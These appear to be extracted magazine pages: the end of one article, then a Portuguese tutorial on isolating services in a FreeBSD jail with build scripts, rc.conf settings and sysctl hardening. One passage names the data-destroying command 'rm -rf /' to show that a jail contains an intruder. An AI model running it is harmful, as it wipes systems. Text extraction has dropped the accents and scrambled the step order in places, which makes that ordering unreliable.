nosso pas gente boa na comunidade GNU.
Desejo tambm que esse simplrio artigo seja
til e, acima de tudo, agregue valor ao Know how
de todos que tenham a disponibilidade de ler o
mesmo.
Muito obrigado tambm a todos aqueles que
enviaram-me emails de feedback do artigo de
fingerprint pois esse tipo de agradecimento o
alimento da alma.

Ficha do Autor
Nome: Sandro Mello
Idade:
Profisso:

email: sandro@4linux.com.br

Informaes Adicionais
Palestrante, Chief Security Officer da empresa
4LinuxMen. Aluno do curso de mestrado em
Engenharia de Redes no IPT/USP. Membro do ADC
(Apple Developer Connection) e do GU-Software Livre
Sucesu Sao Paulo.

Site: http://www.4linux.com.br

www.linuxsecurity.com.br

100

www.linuxsecurity.com.br

101

Usando o jail no FreeBSD


por Jean Milanez Melo

pelo jail e no todo o


mquina.
O root um usurio que possui muito
poder e esse poder muitas vezes pode levar
ao comprometimento do sistema como, por
exemplo, em uma invaso bem sucedida.
No FreeBSD uma das maneiras de se
diminuir esse poder do usurio root atravs
do sysctl(8), podendo assim conter os
estragos em caso de invaso.
Uma outra forma muito interessante
tambm para se proteger o sistema atravs
da utilizao do secure level (nveis de
segurana), a respeito do qual j possuo um
artigo publicado (http://free.bsd.com.br/
noticia.php3?CAD=1&NOT=35). O que ns
vamos tratar aqui de um utilitrio que
pode ser muito conhecido para uns e
desconhecido para outros chamado jail.
O jail pode ser entendido como uma
priso, pois um ambiente criado em chroot
que restringe processos a quele ambiente.
Por exemplo, um processo que est rodando
dentro do jail no pode afetar outros
processos que esto fora do jail.
Um ambiente com jail restringe algumas
coisas. Se um usurio est dentro do jail,
ele no conseguir killar processos de fora
do ambiente, no poder montar sistemas
de arquivos ou deletar parties com o fdisk
e etc.
muito importante ressaltar que os
usurios tambm no podero fazer
chamadas ao sistema (system calls), o que
poderia permitir que eles sassem do jail.
Caso por exemplo alguem invada o jail,
consiga previlgios de root e execute um rm
-rf /, ele apagar somente o ambiente criado

sistema de sua

O jail um modelo de segurana muito


eficiente quando se tem em seu servidor
aplicativos sendo executados, e que
constantemente apresentem vulnerabilidades
como apache, bind, sendmail entre outros,
sendo interessante coloc-los em um ambiente
com jail para que no haja comprometimento
de todo o sistema.

Nesse artigo estaremos tratando o


tempo todo com o chamado ambiente jail,
que onde estar rodando o jail e o
ambiente real, que onde estar
configurado seu sistema para uso do jail.
Nesse artigo tentarei ajudar voc a
montar um jail em seu sistema.
Instalando o Jail
A manpage do jail(8) uma tima
documentao, onde podemos basear nossa
instalao.
Nosso ambiente do jail ser criado em
/usr/jail. Utilize o script abaixo para criar
seu ambiente, modificando o diretrio de
criao do mesmo de acordo com suas
necessidades.
#!/bin/sh
D=/usr/jail
cd /usr/src
mkdir -p $D
make world DESTDIR=$D
cd etc
make distribution DESTDIR=$D -DNO_MAKEDEV_RUN
cd $D/dev
sh MAKEDEV jail
cd $D
ln -sf dev/null kernel

www.linuxsecurity.com.br

102

O script far o seguinte:


1- Atribuir o diretrio de criao do
ambiente "/usr/jail" a varivel "D".
2- Entrar no diretrio /usr/src
3- Criar com o comando "mkdir -p $D"
o diretrio do jail em /usr/jail.
4O
comando
"make
world
DESTDIR=$D" compilar e criar todo seu
ambiente em /usr/jail.
5- cd etc
6- o comando "make distribution
DESTDIR=$D -DNO_MAKEDEV_RUN" setar
os arquivos de configurao do diretrio /
etc do jail.
7- cd $D/dev
8- o comando "sh MAKEDEV jail" cria
todas as devices necessrias para o
ambiente.
9- cd $D
10- o comando "ln -sf dev/null kernel"
faz um link para /dev/null do kernel do
sistema, isso porque o jail no usa um kernel
separado.
Configurando o ambiente do jail.

"SEU_ENDERECO_IP" pelo endereo IP da


sua maquina do ambiente real, para que o
inetd possa listar somente o IP do host.
Isso para que usurios do ambiente do jail
no tentem entrar no seu ambiente real.
Por exemplo, no caso de um telnet
localhost o usurio do jail cairia no ambiente
real e no no ambiente jail e com isso seu
sistema estaria comprometido, por isso
muito importante que sejam adicionadas
as linhas abaixo em seu ambiente real.
sendmail_enable="NO"
inetd_flags="-wW -a SEU_ENDERECO_IP"
portmap_enable="NO"
syslogd_flags="-ss"

Para configuraes gerais do ambiente


jail como contas de usurios, senha de root,
data do sistema, entre outros, voc poder
tambm usar o sysinstall:
# mkdir /usr/jail/stand
# cp /stand/sysinstall /usr/jail/stand

Iniciando o jail
Primeiro deve-se criar um alias na sua
placa de rede do ambiente real. Vamos supor
que eu queira configurar o jail com o IP
200.202.223.5 em minha interface xl0. Para
isso deve-se criar o alias com o seguinte
comando:
Obs: Se estiver lendo a revista direto de um visualizador
PDF, utilize a ferramenta Zoom para ver o cdigo
abaixo.
# ifconfig xl0 inet alias 200.202.223.5 netmask 255.255.255.255

Depois de terminada a criao do


ambiente do jail, devemos partir para a
configurao.
No /etc/rc.conf do ambiente real coloque
as linhas abaixo e na inetd_flags substitua

logo aps:
# mount -t procfs proc /usr/jail/proc

www.linuxsecurity.com.br

103

Agora para iniciarmos o jail basta


utilizar:

#!/bin/sh
/sbin/ifconfig xl0 inet alias 200.202.223.5 netmask 255.255.255.255
/sbin/mount -t procfs proc /usr/jail/proc
/usr/sbin/jail /usr/jail hostname 200.202.223.5 /bin/sh /etc/rc

# jail /usr/jail hostname 200.202.223.5 /bin/sh

Concluso
Caso voc veja alguns erros, ignore-os.
Agora voc dever realizar os seguintes
procedimentos no seu ambiente jail (em
nosso caso no /usr/jail):
- Criar um arquivo vazio: touch /etc/fstab;
- Desabilitar o portmap (rc.conf:
portmap_enable="NO")
- Rodar o newaliases(1).

O jail um timo mtodo de segurana


e, se configurado com secure levels e
firewall, se torna um sistema muito
poderoso. Caso se interesse em usar secure
level e firewall, recomendo a leitura dos
meus artigos, que podero ser encontrados
no site http://www.free.bsd.com.br . Espero
que este artigo tenha dado uma boa viso
geral aos interessados.

- Desabilitar as interfaces de rede (rc.conf:


network_interfaces="")
- Configurar o /etc/resolv.conf
- Configurar o /etc/hosts colocando a entrada
do host e IP
- Setar a senha do root do jail;
- Configurar o timezone
- Adicionar contas dos usurios que ficaro no
ambiente jail.
- Instalar os aplicativos que voc ache
necessrios.

Para impedir que usurios no jail


alterem o hostname, adicione no seu
ambiente real a seguinte linha no /etc/
sysctl.conf:
jail.set_hostname_allowed=0
ou digite:
# sysctl -w jail.set_hostname_allowed=0

Para que o jail inicie automaticamente


a cada reboot, coloque o seguinte shell script
em usr/local/etc/rc.d/jail.sh

Ficha do Autor
Nome: Jean Milanez Melo
Idade:
Profisso: Diretor da FreeBSD Brasil
LTDA.

email:
jmelo@freebsdbrasil.com.br
jmelo@free.bsd.com.br

Informaes Adicionais
Membro ativo da comunidade FreeBSD, criador do site
FreeBSD FAQ (http://free.bsd.com.br) com vrias
informaes teis para usurios novatos e
experientes.

Site: http://www.freebsdbrasil.com.br

www.linuxsecurity.com.br